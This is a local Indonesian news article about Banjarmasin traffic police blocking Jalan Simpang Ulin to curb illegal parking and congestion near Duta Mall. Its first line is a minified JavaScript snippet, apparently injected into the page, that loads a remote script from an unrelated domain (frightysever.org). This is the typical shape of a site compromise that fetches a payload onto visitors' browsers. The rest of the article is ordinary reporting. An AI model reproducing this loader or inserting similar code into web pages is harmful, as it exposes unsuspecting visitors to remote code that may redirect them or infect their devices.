(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN — Satlantas Polres Kota Banjarmasin memberi solusi rekayasa Jalan Simpang Ulin Banjarmasin agar tak menimbulkan kemacetan parah di kawasan pusat perbelanjaan Duta Mall.
Hal itu disampaikan oleh Perwira Satlantas Polresta Banjarmasin, Ipda Ansyah Bhakti Satyabharda, Senin (1/12/2025).
Kepadatan Kendaraan di Akhir Pekan
Kondisi Jalan Simpang Ulin Banjarmasin titik kepadatan kendaraan bermotor terutama di akhir pekan kerja terjadi. Foto: Satlantas Polresta Banjarmasin
Baca juga: Warga Kampung Sultan Minta Pembuatan RTH dan Posyandu ke Wakil Rakyat
Ipda Satyabharda menyebut, posisi jalan yang strategis yakni terletak antara pusat perbelanjaan, masjid, rumah sakit, dan pertokoan membuat Jalan Simpang Ulim kerap dilalui masyarakat membuat terjadi kepadatan kendaraan bermotor.
Akibatnya, jalan ini bisa sangat padat sehingga sulit dilalui khususnya di akhir pekan. Hal ini pun sudah diantisipasi dengan pemasangan rambu dan marka Dilarang Parkir dan penutupan jalur atau blokade.
“Harapannya dapat menghindari masyarakat yang masih membandel, khususnya kendaraan besar seperti mobil untuk tidak parkir sembarangan di Jalan Simpang Ulin karena menyebabkan kemacetan yang lebih parah,” ujarnya.
Baca juga: Pemdes Tumbang Mangkutup Gelar Rapat Evaluasi Para Pihak
Upaya Meminimalisir Kepadatan Lalu Lintas
Sejalan dengan argumen pertama, mengandalkan rambu dan marka belum tentu membuat masyarakat patuh terhadap aturan.
Pastinya akan ditemukan pengguna roda dua atau roda empat yang memarkir kendaraan di sisi Jalan Simpang Ulin yang bersinggungan langsung dengan Taman Simpang Ulin.
Oleh sebab itu, petugas memblokade jalan tersebut agar meminimalisir pengguna kendaraan yang parkir sembarangan.
Biasanya, pengendara bandel ini berusaha memarkirkan kendaraan di luar pusat perbelanjaan Duta Mall supaya menghindari retribusi parkir mall.
Baca juga: Pemkab Kapuas Susun Rencana Penanggulangan Kemiskinan Daerah
“Apabila kebiasaan ini dibiarkan, akan banyak masyarakat yang ikut-ikutan untuk parkir karena selain karena tempat parkir ini gratis, meskipun melanggar aturan. Jalan ini juga tidak terlalu jauh Duta Mall,” ungkapnya.
Bukan Lokasi Ideal Untuk Perparkiran
Kondisi Jalan Simpang Ulin Banjarmasin titik kepadatan kendaraan bermotor terutama di akhir pekan kerja terjadi. Foto: Satlantas Polresta Banjarmasin
Jalan Simpang Ulin yang tidak memiliki lebar jalan yang memadai dapat menimbulkan kemacetan apabila diberikan lahan parkir.
Selain itu, lokasi ini pasti akan menjadi rebutan banyak pengendara dibandingkan memarkirkan kendaraannya di Parkiran Duta Mall yang menjalankan tarif parkir progresif, dan pastinya lebih murah.
“Selain kondisi jalan yang kurang lebar untuk maju mundur kendaraan untuk parkir, hal tersebut dapat membuat banyak pengendara yang menunggu parkiran di Jalan Simpang Ulin,” jelasnya.
Baca juga: Wakil Rakyat Banjarbaru Dorong Kampung Ekowisata Kampung Sultan
Mengurangi Parkir Liar
Parkir kendaraan sembarangan otomatis mengundang preman parkir untuk menjadikannya lahan usaha parkir liar. Lantas, blokade jalan menurutnya adalah solusi yang tepat.
“Apabila tidak dilakukan penutupan bisa membuat parkir liar yang dikelola preman menjadi menjamur dan tidak kondusif, serta tidak sesuai dengan peraturan yang berlaku,” terang Ipda Satyabharda.
Upaya Preventif Menghindari Terjadinya Pelanggaran Lalu Lintas
Memarkirkan kendaraan pada lokasi yang terdapat larangan parkir baik berupa rambu atau marka merupakan pelanggaran terhadap peraturan daerah, maka dari itu pengendara pelanggaran dikenakan penegakkan pelanggaran (tilang).
Baca juga: Komitmen Deteksi Dini Narkoba, Pejabat Pemkab Kapuas Tes Urine
Dengan demikian, kelima alasan tersebut menjadi sebab mengapa Jalan Simpang Ulin tetap dilakukan penutupan. Fokus utamanya adalah menghindari pelanggaran parkir serta parkir liar yang bisa membuat jalan tersebut macet.
“Penutupan ini mungkin bagi sebagian orang merupakan perbuatan yang semau-maunya petugas. Akan tetapi apabila dibuka, dampaknya akan lebih ruwet dan lebih banyak permasalahan lainnya,” tutupnya. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.